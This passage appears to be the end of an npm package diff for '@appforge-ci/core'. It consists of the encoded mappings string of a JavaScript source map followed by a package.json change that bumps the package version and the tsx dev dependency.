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"}
|
package/package.json
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "@appforge-ci/core",
|
|
3
|
-
"version": "0.
|
|
3
|
+
"version": "0.2.0",
|
|
4
4
|
"license": "MIT",
|
|
5
5
|
"publishConfig": {
|
|
6
6
|
"access": "public"
|
|
@@ -22,7 +22,7 @@
|
|
|
22
22
|
},
|
|
23
23
|
"devDependencies": {
|
|
24
24
|
"@types/node": "^20.16.5",
|
|
25
|
-
"tsx": "^4.23.
|
|
25
|
+
"tsx": "^4.23.15",
|
|
26
26
|
"typescript": "^5.6.3"
|
|
27
27
|
},
|
|
28
28
|
"scripts": {
|